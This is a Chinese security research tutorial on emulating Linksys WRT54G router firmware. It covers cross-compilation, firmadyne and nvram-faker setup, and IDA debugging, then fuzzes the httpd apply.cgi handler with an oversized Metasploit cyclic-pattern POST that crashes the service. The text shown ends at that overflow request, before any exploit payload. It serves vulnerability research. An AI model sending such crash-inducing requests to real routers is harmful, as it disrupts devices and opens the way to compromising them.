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[原创]从模糊测试到漏洞利用--WRT54G无线路由器漏洞挖掘分析实战

cloud闲云 2017-6-4 08:42 1802

Author: Cloud4986
            Acorn IOT SecLab

文章图片比较多,在粘贴时图片粘贴有些问题,大家可以先看内容,如果觉得有收藏价值再下载附件。

概述:无线路由器被广泛使用在工业、企业、家庭的网络环境中,无线路由器安全漏洞研究是物联网安全研究的重要领域之一。目前很多网上无线路由器漏洞分析的文章直接翻译的国外文章,但实际做起来会发现存在各种问题。本文根据实际实验,从环境搭建、模糊测试、漏洞利用三个阶段完整展现无线路由器web服务器缓存区溢出漏洞挖掘分析的详细过程。


1. 简介
无线路由器被广泛使用在工业、企业、家庭的网络环境中,无线路由器安全漏洞研究是物联网安全研究的重要领域。本文为你展现无线路由器web服务器缓存区溢出漏洞的模糊测试到漏洞利用的详细过程。
2. WRT54G漏洞分析环境建立
2.1. 建立交叉编译环境
下载musl-cross : git clone https://github.com/GregorR/musl-cross.git
在 config.sh中增加

CFLAGS="-fPIC"
TRIPLE=mipsel-linux-musl

在defs.sh中修改
LINUX_HEADERS_URL=https://kernel.org/pub/linux/kernel/v2.6/longterm/v2.6.32/linux-2.6.32.70.tar.xz in defs.sh

运行 ./build.sh
交叉编译环境将被安装在/opt/cross目录

在profile中增加
export MIPSEL_HOME=/opt/cross/mipsel-linux-musl
export PATH=$PATH: $MIPSEL_HOME/bin
LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$MIPSEL_HOME/lib
export LD_LIBRARY_PATH

2.2. 安装IDA插件

3. WRT54G固件漏洞研究
3.1. 固件下载:
http://dl-sh-ocn-1.pchome.net/2s/9o/linksys_wrt54gv2_fw4007.zip?key=5df0916ed9d62e2a295dbc6dddb2ba9d&tmp=1492133581036
root@aflfuzz:~# binwalk -e WRT54GV3.1_4.00.7_US_code.bin

3.2. WRT54G httpd服务器模糊测试
在firmadyne虚拟环境运行防火墙(见《嵌入式固件自动化分析环境firmadyne使用详细教程》)。使用burpesuite测试apply.cgi请求可以导致httpd服务崩溃。说明该请求存在bug。方法:


点击start attack开始攻击,在攻击串超过10000后httpd服务器崩溃


Firmadyne控制台也显示httpd had died


3.3. 使用nvram-faker修复NVRAM
3.3.1. Qemu-mipsel虚拟运行防火墙/usr/sbin/httpd服务
为了进一步分析调试httpd服务,需要使用qemu-mipsel-static虚拟运行路由器中的httpd服务进程。(采取这个方式是因为直接在firmadyne环境里使用gdbserver实验无法远程调试)
root@aflfuzz:~/_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root# chroot ./ ./qemu-mipsel-static . /usr/sbin/httpd
/dev/nvram: No such file or directory
出现错误提示
因此需要修复nvarm硬件依赖
下载
git clone https://github.com/zcutlip/nvram-faker.git
3.3.2. 修改nvram-faker增加劫持函数
原始fork函数会启动很多子进程导致程序调试复杂,所以需要劫持它,简化调试。
增加劫持get_mac_from_ip
修改nvram-faker.h文件添加fork函数
#ifndef __NVRAM_FAKER_H__
#define __NVRAM_FAKER_H__

char *nvram_get(const char *key);

int fork(void);
char *get_mac_from_ip(const char*ip);

#endif /* __NVRAM_FAKER_H__ */

修改nvram-faker.c添加fork、get_mac_from_ip函数

int fork(void)
{
   return 0;
}

char *get_mac_from_ip(const char*ip)
{
   char mac[]="00:50:56:C0:00:08";
   char *rmac = strdup(mac);
   return rmac;
}
3.3.3. 编译nvram-faker
root@aflfuzz:~/nvram-faker-master# ./buildmipsel.sh
mipsel-linux-gcc -Wall -I./contrib/inih -ggdb -DINI_MAX_LINE=2000 -DINI_USE_STACK=0 -fPIC -c -o nvram-faker.o nvram-faker.c
make -C ./contrib/inih ini.o
make[1]: 正在进入目录 `/root/nvram-faker-master/contrib/inih'
mipsel-linux-gcc -ggdb -DINI_MAX_LINE=2000 -DINI_USE_STACK=0 -fPIC -c -o ini.o ini.c
make[1]:正在离开目录 `/root/nvram-faker-master/contrib/inih'
cp ./contrib/inih/ini.o .
mipsel-linux-gcc -shared -o libnvram-faker.so nvram-faker.o ini.o -Wl,-nostdlib

root@aflfuzz:~/nvram-faker-master# ls
arch.mk          ini.o              nvram-faker.c~          nvram-faker.o
buildmipsel.sh   libnvram-faker.so  nvram-faker.h           nvram.ini
buildmipsel.sh~  LICENSE.txt        nvram-faker.h~          README.md
buildmips.sh     Makefile           nvram-faker-internal.h
contrib          nvram-faker.c      nvram_faker_main.c

3.3.4. 将libnvram-faker.so和同目录下的nvram.ini复制到WRT54G路由器的根文件系统中
将buildroot交叉编译环境output/host/目录下libgcc_s.so.1(因为编译libnvaram-faker.so库用到了这个共享库)文件复制到路由器二进制根目录,复制后目录结构如下:
root@aflfuzz:~/ _R6200-V1.0.0.28_1.0.24.bin.extracted/squashfs-root# ls
bin  etc  libnvram-faker.so  nvram.ini     proc             sbin  tmp    var
dev  lib  mnt             prepare.sh  qemu-mipsel-static  sys   usr    www

3.3.5. 写如下prepare.sh脚本修改HTTPD执行环境
HTTPD在运行时需要对/var目录下的某些文件进行操作,而这些文件是在Linux启动过程中才会产生的,因此要先删除var目录,再创建。
Prepare.sh
#!/bin/sh

rm var
mkdir var
mkdir ./var/run
mkdir ./var/tmp
touch ./var/run/lock
touch ./var/run/crod.pid
touch httpd.pid

3.4. 使用qemu-mipsel-static试运行httpd
使用sudo运行
root@aflfuzz:~# cd _WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-rootroot@aflfuzz:~/_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root#sudo chroot . ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" ./usr/sbin/httpd
# sudo chroot . ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" ./usr/sbin/httpd
LOG_HTTPD=Unknown
setsockopt(SO_SNDTIMEO): Invalid argument
setsockopt(SO_RCVTIMEO): Invalid argument
http_client_ip=Unknown
/dev/nvram: No such file or directory
http_client_mac=Unknown
/dev/nvram: No such file or directory
http_username=Unknown
http_passwd=Unknown
router_name=Unknown
web_wl_filter=Unknown
这时需要创建一些设备对象和修改nvram.ini文件
3.5. 创建硬件设备及配置文件
使用firmadyne脚本改写的
1) fixImage.sh
#!/bin/sh

# use busybox statically-compiled version of all binaries
#BUSYBOX="busybox"
# print input if not symlink, otherwise attempt to resolve symlink
resolve_link() {
    TARGET=$(readlink $1)
    if [ -z "$TARGET" ]; then
        echo "$1"
    fi
    echo "$TARGET"
}

# make /etc and add some essential files
mkdir -p "$(resolve_link etc)"
if [ ! -s etc/TZ ]; then
    echo "Creating etc/TZ!"
    mkdir -p "$(dirname $(resolve_link etc/TZ))"
    echo "EST5EDT" > "$(resolve_link etc/TZ)"
fi

if [ ! -s etc/hosts ]; then
    echo "Creating etc/hosts!"
    mkdir -p "$(dirname $(resolve_link etc/hosts))"
    echo "127.0.0.1 localhost" > "$(resolve_link etc/hosts)"
fi

if [ ! -s etc/passwd ]; then
    echo "Creating etc/passwd!"
    mkdir -p "$(dirname $(resolve_link etc/passwd))"
    echo "root::0:0:root:/root:/bin/sh" > "$(resolve_link etc/passwd)"
fi

# make /dev and add default device nodes if current /dev does not have greater
# than 5 device nodes
mkdir -p "$(resolve_link dev)"
FILECOUNT="$(find dev -maxdepth 1 -type b -o -type c -print | wc -l)"
if [ $FILECOUNT -lt "5" ]; then
    echo "Warning: Recreating device nodes!"

    mknod -m 660 dev/mem c 1 1
    mknod -m 640 dev/kmem c 1 2
    mknod -m 666 dev/null c 1 3
    mknod -m 666 dev/zero c 1 5
    mknod -m 444 dev/random c 1 8
    mknod -m 444 dev/urandom c 1 9
    mknod -m 666 dev/armem c 1 13

    mknod -m 666 dev/tty c 5 0
    mknod -m 622 dev/console c 5 1
    mknod -m 666 dev/ptmx c 5 2

    mknod -m 622 dev/tty0 c 4 0
    mknod -m 660 dev/ttyS0 c 4 64
    mknod -m 660 dev/ttyS1 c 4 65
    mknod -m 660 dev/ttyS2 c 4 66
    mknod -m 660 dev/ttyS3 c 4 67

    mknod -m 644 dev/adsl0 c 100 0
    mknod -m 644 dev/ppp c 108 0
    mknod -m 666 dev/hidraw0 c 251 0

    mkdir -p dev/mtd
    mknod -m 644 dev/mtd/0 c 90 0
    mknod -m 644 dev/mtd/1 c 90 2
    mknod -m 644 dev/mtd/2 c 90 4
    mknod -m 644 dev/mtd/3 c 90 6
    mknod -m 644 dev/mtd/4 c 90 8
    mknod -m 644 dev/mtd/5 c 90 10
    mknod -m 644 dev/mtd/6 c 90 12
    mknod -m 644 dev/mtd/7 c 90 14
    mknod -m 644 dev/mtd/8 c 90 16
    mknod -m 644 dev/mtd/9 c 90 18
    mknod -m 644 dev/mtd/10 c 90 20

    mknod -m 644 dev/mtd0 c 90 0
    mknod -m 644 dev/mtdr0 c 90 1
    mknod -m 644 dev/mtd1 c 90 2
    mknod -m 644 dev/mtdr1 c 90 3
    mknod -m 644 dev/mtd2 c 90 4
    mknod -m 644 dev/mtdr2 c 90 5
    mknod -m 644 dev/mtd3 c 90 6
    mknod -m 644 dev/mtdr3 c 90 7
    mknod -m 644 dev/mtd4 c 90 8
    mknod -m 644 dev/mtdr4 c 90 9
    mknod -m 644 dev/mtd5 c 90 10
    mknod -m 644 dev/mtdr5 c 90 11
    mknod -m 644 dev/mtd6 c 90 12
    mknod -m 644 dev/mtdr6 c 90 13
    mknod -m 644 dev/mtd7 c 90 14
    mknod -m 644 dev/mtdr7 c 90 15
    mknod -m 644 dev/mtd8 c 90 16
    mknod -m 644 dev/mtdr8 c 90 17
    mknod -m 644 dev/mtd9 c 90 18
    mknod -m 644 dev/mtdr9 c 90 19
    mknod -m 644 dev/mtd10 c 90 20
    mknod -m 644 dev/mtdr10 c 90 21

    mkdir -p dev/mtdblock
    mknod -m 644 dev/mtdblock/0 b 31 0
    mknod -m 644 dev/mtdblock/1 b 31 1
    mknod -m 644 dev/mtdblock/2 b 31 2
    mknod -m 644 dev/mtdblock/3 b 31 3
    mknod -m 644 dev/mtdblock/4 b 31 4
    mknod -m 644 dev/mtdblock/5 b 31 5
    mknod -m 644 dev/mtdblock/6 b 31 6
    mknod -m 644 dev/mtdblock/7 b 31 7
    mknod -m 644 dev/mtdblock/8 b 31 8
    mknod -m 644 dev/mtdblock/9 b 31 9
    mknod -m 644 dev/mtdblock/10 b 31 10

    mknod -m 644 dev/mtdblock0 b 31 0
    mknod -m 644 dev/mtdblock1 b 31 1
    mknod -m 644 dev/mtdblock2 b 31 2
    mknod -m 644 dev/mtdblock3 b 31 3
    mknod -m 644 dev/mtdblock4 b 31 4
    mknod -m 644 dev/mtdblock5 b 31 5
    mknod -m 644 dev/mtdblock6 b 31 6
    mknod -m 644 dev/mtdblock7 b 31 7
    mknod -m 644 dev/mtdblock8 b 31 8
    mknod -m 644 dev/mtdblock9 b 31 9
    mknod -m 644 dev/mtdblock10 b 31 10

    mkdir -p dev/tts
    mknod -m 660 dev/tts/0 c 4 64
    mknod -m 660 dev/tts/1 c 4 65
    mknod -m 660 dev/tts/2 c 4 66
    mknod -m 660 dev/tts/3 c 4 67
fi

# create a gpio file required for linksys to make the watchdog happy
if (grep -sq "dev/gpio/in" bin/gpio) ||
  (grep -sq "dev/gpio/in" usr/lib/libcm.so) ||
  (grep -sq "dev/gpio/in" usr/lib/libshared.so); then
    echo "Creating dev/gpio/in!"
    mkdir -p dev/gpio
    echo -ne "\xff\xff\xff\xff" > dev/gpio/in
fi

# prevent system from rebooting
#echo "Removing /sbin/reboot!"
#rm -f /sbin/reboot
echo "Removing /etc/scripts/sys_resetbutton!"
rm -f etc/scripts/sys_resetbutton

# add some default nvram entries
if grep -sq "ipv6_6to4_lan_ip" sbin/rc; then
    echo "Creating default ipv6_6to4_lan_ip!"
    echo -n "2002:7f00:0001::" > firmadyne/libnvram.override/ipv6_6to4_lan_ip
fi

if grep -sq "time_zone_x" lib/libacos_shared.so; then
    echo "Creating default time_zone_x!"
    echo -n "0" > firmadyne/libnvram.override/time_zone_x
fi

if grep -sq "rip_multicast" usr/sbin/httpd; then
    echo "Creating default rip_multicast!"
    echo -n "0" > firmadyne/libnvram.override/rip_multicast
fi

if grep -sq "bs_trustedip_enable" usr/sbin/httpd; then
    echo "Creating default bs_trustedip_enable!"
    echo -n "0" > firmadyne/libnvram.override/bs_trustedip_enable
fi

if grep -sq "filter_rule_tbl" usr/sbin/httpd; then
    echo "Creating default filter_rule_tbl!"
    echo -n "" > firmadyne/libnvram.override/filter_rule_tbl
fi

if grep -sq "rip_enable" sbin/acos_service; then
    echo "Creating default rip_enable!"
    echo -n "0" > firmadyne/libnvram.override/rip_enable
fi
2) preInit.sh脚本
#!/bin/sh

[ -d dev ] || mkdir -p dev
[ -d root ] || mkdir -p root
[ -d sys ] || mkdir -p sys
[ -d proc ] || mkdir -p proc
[ -d tmp ] || mkdir -p tmp
mkdir -p var/lock

mount -t sysfs sysfs sys
mount -t proc proc proc
ln -sf proc/mounts etc/mtab

mkdir -p dev/pts
mount -t devpts devpts dev/pts
mount -t tmpfs tmpfs /run
3) makeImage.sh脚本
#!/bin/bash

set -e
set -u


echo "----Creating FIRMADYNE Directories----"
mkdir "firmadyne/"
mkdir "firmadyne/libnvram/"
mkdir "firmadyne/libnvram.override/"

sh fixImage.sh

echo "----Setting up FIRMADYNE----"
mknod -m 666 "firmadyne/ttyS1" c 4 65

cp "libnvram.so.mipsel" "firmadyne/libnvram.so"
chmod a+x "firmadyne/libnvram.so"

cp "preInit.sh" "firmadyne/preInit.sh"
chmod a+x "firmadyne/preInit.sh"
4) 修改nvram.ini
修改lan_hwaddr、lan_ipaddr,增加LOG_HTTPD等一些内容,修改后nvram.ini内容如下:
[config]
os_name=linux
os_version=3.90.7.0
os_date=Apr 26 2005
os_server=
stats_server=
ct_modules=
daylight_time=1
upnp_port=9999
upnp_ad_time=30
upnp_sub_timeout=60
upnp_conn_retries=10
log_level=0
lan_hwaddr=00:50:56:C0:00:08
lan_ifname=eth0
lan_ifnames=eth0 eth1 eth2 eth3
lan_hwnames=
lan1_ifname=wlan0
lan_proto=dhcp
log_enable=0
log_ipaddr=0
ntp_server=
upnp_turn_on=1
lan_ipaddr=10.0.0.141
lan_bipaddr=10.0.0.255
lan_netmask=255.255.255.0
lan_ifnames=eth0
lan_dhcp=0
lan_proto=dhcp
lan_wins=
lan_domain=
lan_lease=86400
lan_stp=0
lan_route=
ethConver=1
ezc_enable=1
ezc_version=2
is_default=1
friendly_name=littlebitch
fw_disable=0
filter_maclist=
filter_macmode=deny
filter_client0=
filter=on
filter_port=
filter_rule1=
filter_rule2=
filter_rule3=
filter_rule4=
filter_rule5=
filter_rule6=
filter_rule7=
filter_rule8=
filter_rule9=
filter_rule10=
filter_tod1=
filter_tod2=
filter_tod3=
filter_tod4=
filter_tod5=
filter_tod6=
filter_tod7=
filter_tod8=
filter_tod9=
filter_tod10=
filter_tod_buf1=
filter_tod_buf2=
filter_tod_buf3=
filter_tod_buf4=
filter_tod_buf5=
filter_tod_buf6=
filter_tod_buf7=
filter_tod_buf8=
filter_tod_buf9=
filter_tod_buf10=
filter_ip_grp1=
filter_ip_grp2=
filter_ip_grp3=
filter_ip_grp4=
filter_ip_grp5=
filter_ip_grp6=
filter_ip_grp7=
filter_ip_grp8=
filter_ip_grp9=
filter_ip_grp10=
filter_mac_grp1=
filter_mac_grp2=
filter_mac_grp3=
filter_mac_grp4=
filter_mac_grp5=
filter_mac_grp6=
filter_mac_grp7=
filter_mac_grp8=
filter_mac_grp9=
filter_mac_grp10=
filter_web_host1=
filter_web_host2=
filter_web_host3=
filter_web_host4=
filter_web_host5=
filter_web_host6=
filter_web_host7=
filter_web_host8=
filter_web_host9=
filter_web_host10=
filter_web_url1=
filter_web_url2=
filter_web_url3=
filter_web_url4=
filter_web_url5=
filter_web_url6=
filter_web_url7=
filter_web_url8=
filter_web_url9=
filter_web_url10=
filter_port_grp1=
filter_port_grp2=
filter_port_grp3=
filter_port_grp4=
filter_port_grp5=
filter_port_grp6=
filter_port_grp7=
filter_port_grp8=
filter_port_grp9=
filter_port_grp10=
upnp_duration=3600
upnp_advert_ttl=4
upnp_advert_period=30
upnp_enable=1
wps_device_pin=12345678
wps_version2=enabled
wps_config_method=0x284
wps_aplockdown_forceon=0
wps_lock_start_cnt=3
wps_lock_forever_cnt=3
wps_aplockdown_disable=0
wps_mixedmode=2
wps_random_ssid_prefix=foobar
wps_randomssid=foobar_ssid
wan_ifnames=eth0
wan_ifname=eth0
wanif=eth0
wan_ipaddr=0.0.0.0
wan_netmask=0.0.0.0
wan_hwaddr=01:23:45:67:89:ab
wan_hwaddr_def=01:23:45:67:89:ab
wan_hwname=
wan_proto=dhcp
wan_gateway=0.0.0.0
wan_dns=
wan_wins=
wan_hostname=
wan_domain=
wan_lease=86400
wan_primary=1
wan_unit=0
static_route=
static_route_name=
time_zone_x=0
time_zone=-08 1 1
timer_interval=3600
router_disable=0
rip_multicast=0
wps_device_name=wrt54qemu
wps_mfstring=netgear
wps_modelname=wrt54
wps_modelnum=1
boardnum=1
wps_wer_mode=allow
wfa_port=9999
wfa_adv_time=30
wps_version2_num=1
wps_pbc_apsta=enabled
wps_ess_num=1
console_loglevel=7
restore_defaults=1
sku_name=
wla_wlanstate=
lan_if=eth0
wan_ifname=eth0
time_zone=EST5EDT
LOG_HTTPD=127.0.0.1
http_username=admin
http_passwd=admin
router_name=wrt54
router_disable=0
web_wl_filter=
bs_trustedip_enable=0
3.6. 加载/libnvram-faker.so运行httpd
不开启远程调试端口
  sudo chroot ./ ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" ./usr/sbin/httpd

开启远程调试端口
  sudo chroot ./ ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" -g 1234 ./usr/sbin/httpd

3.7. 使用IDA Pro远程调试
3.7.1. IDA Pro远程调试启动
1) 设置调试器选项


2) 在main函数入口设置断点

3) 附加到进程


附加成功后显示


4) 按F9继续进程


3.7.2. 构造apply cgi的请求数据包
根据3.2章节模糊测试情况,使用msf里pattern_create.rb构造apply.cgi请求的post数据,放到burpsuite里重放。Post数据构造命令如下:
root@kali:/opt/metasploit/apps/pro/msf3/tools# ./pattern_create.rb 26384

构造的post http请求如下:
POST /apply.cgi HTTP/1.1
Accept-Encoding: identity
Content-Length: 26384
Host: 10.0.0.141
Content-Type: application/x-www-form-urlencoded
Connection: close
User-Agent: Python-urllib/2.7

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6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2Hx3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2Iv3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2Jd3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2Jl3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2Jq3Jq4Jq5Jq6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2Kb3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2Kj3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn0Kn1Kn2Kn3Kn4Kn5Kn6Kn7Kn8Kn9Ko0Ko1Ko2Ko3Ko4Ko5Ko6Ko7Ko8Ko9Kp0Kp1Kp2Kp3Kp4Kp5Kp6Kp7Kp8Kp9Kq0Kq1Kq2Kq3Kq4Kq5Kq6Kq7Kq8Kq9Kr0Kr1Kr2Kr3Kr4Kr5Kr6Kr7Kr8Kr9Ks0Ks1Ks2Ks3Ks4Ks5Ks6Ks7Ks8Ks9Kt0Kt1Kt2Kt3Kt4Kt5Kt6Kt7Kt8Kt9Ku0Ku1Ku2Ku3Ku4Ku5Ku6Ku7Ku8Ku9Kv0Kv1Kv2Kv3Kv4Kv5Kv6Kv7Kv8Kv9Kw0Kw1Kw2Kw3Kw4Kw5Kw6Kw7Kw8Kw9Kx0Kx1Kx2Kx3Kx4Kx5Kx6Kx7Kx8Kx9Ky0Ky1Ky2Ky3Ky4Ky5Ky6Ky7Ky8Ky9Kz0Kz1Kz2Kz3Kz4Kz5Kz6Kz7Kz8Kz9La0La1La2La3La4La5La6La7La8La9Lb0Lb1Lb2Lb3Lb4Lb5Lb6Lb7Lb8Lb9Lc0Lc1Lc2Lc3Lc4Lc5Lc6Lc7Lc8Lc9Ld0Ld1Ld2Ld3Ld4Ld5Ld6Ld7Ld8Ld9Le0Le1Le2Le3Le4Le5Le6Le7Le8Le9Lf0Lf1Lf2Lf3Lf4Lf5Lf6Lf7Lf8Lf9Lg0Lg1Lg2Lg3Lg4Lg5Lg6Lg7Lg8Lg9Lh0Lh1Lh2Lh3Lh4Lh5Lh6Lh7Lh8Lh9Li0Li1Li2Li3Li4Li5Li6Li7Li8Li9Lj0Lj1Lj2Lj3Lj4Lj5Lj6Lj7Lj8Lj9Lk0Lk1Lk2Lk3Lk4Lk5Lk6Lk7Lk8Lk9Ll0Ll1Ll2Ll3Ll4Ll5Ll6Ll7Ll8Ll9Lm0Lm1Lm2Lm3Lm4Lm5Lm6Lm7Lm8Lm9Ln0Ln1Ln2Ln3Ln4Ln5Ln6Ln7Ln8Ln9Lo0Lo1Lo2Lo3Lo4Lo5Lo6Lo7Lo8Lo9Lp0Lp1Lp2Lp3Lp4Lp5Lp6Lp7Lp8Lp9Lq0Lq1Lq2Lq3Lq4Lq5Lq6Lq7Lq8Lq9Lr0Lr1Lr2Lr3Lr4Lr5Lr6Lr7Lr8Lr9Ls0Ls1Ls2Ls3Ls4Ls5Ls6Ls7Ls8Ls9Lt0Lt1Lt2Lt3Lt4Lt5Lt6Lt7Lt8Lt9Lu0Lu1Lu2Lu3Lu4Lu5Lu6Lu7Lu8Lu9Lv0Lv1Lv2Lv3Lv4Lv5Lv6Lv7Lv8Lv9Lw0Lw1Lw2Lw3Lw4Lw5Lw6Lw7Lw8Lw9Lx0Lx1Lx2Lx3Lx4Lx5Lx6Lx7Lx8Lx9Ly0Ly1Ly2Ly3Ly4Ly5Ly6Ly7Ly8Ly9Lz0Lz1Lz2Lz3Lz4Lz5Lz6Lz7Lz8Lz9Ma0Ma1Ma2Ma3Ma4Ma5Ma6Ma7Ma8Ma9Mb0Mb1Mb2Mb3Mb4Mb5Mb6Mb7Mb8Mb9Mc0Mc1Mc2Mc3Mc4Mc5Mc6Mc7Mc8Mc9Md0Md1Md2Md3Md4Md5Md6Md7Md8M